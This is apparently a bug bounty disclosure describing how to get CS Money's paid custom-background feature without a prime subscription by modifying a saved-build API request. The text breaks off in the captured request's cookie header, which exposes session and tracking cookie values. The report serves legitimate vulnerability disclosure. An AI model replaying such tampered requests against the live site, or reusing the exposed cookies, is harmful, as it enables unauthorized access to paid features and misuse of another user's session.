CS Money: Bypass restrict of member subscription to use custom background in https://3d.cs.money without prime subscription

Summary: In website https://3d.cs.money you need to subscribe prime to have a custom background for skin {F999661} But with this vulnerability, we can use custom background without any fee required Steps To Reproduce: [add details for how we can reproduce the issue] Grab a build of skin Save it. Modify request ``` POST /api/build/save HTTP/1.1 Host: 3d.cs.money User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: application/json, text/plain, / Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/json;charset=utf-8 Content-Length: 8197 Origin: https://3d.cs.money Connection: close Referer: https://3d.cs.money/item/1A0EmD0OCs Cookie: __cfduid=dd4a5ae822200c2e5a6622942c8e9b5c61600828055; TEST_GROUP=6; UUID3D=z8yNnunP7rEULv4; _ga=GA1.1.123687832.1600828067; _ga_HY7CCPCD7H=GS1.1.1600870816.3.1.1600874988.52; _gid=GA1.2.745101638.1600828070; language=en; sellerid=2351662; theme=darkTheme; pro_version=false; tmr_reqNum=60; tmr_lvid=a86af86a1e546621ee998805dedf795e; tmr_lvidTS=1600829462593; _ym_uid=1600829464576681153; _ym_d=1600829464; prism_89846284=886529b3-1b72-491d-8e3e-fb061941ce6b; amplitude_id_222f15bd4f15cdfaee99c07bcc641e5fcs.money=eyJkZXZpY2VJZCI6ImJlNWM1YjhmLWE3OTQtNDZiNC1iMzg5LWU2MzljYThkZTNiNlIiLCJ1c2VySWQiOiI3NjU2MTE5ODM4OTQwODM5MiIsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwMDg3MTY1Mzk0NywibGFzdEV2ZW50VGltZSI6MTYwMDg3MTY5NDEzMCwiZXZlbnRJZCI6MjYsImlkZW50aWZ5SWQiOjEzLCJzZXF1ZW5jZU51bWJlciI6Mzl9;...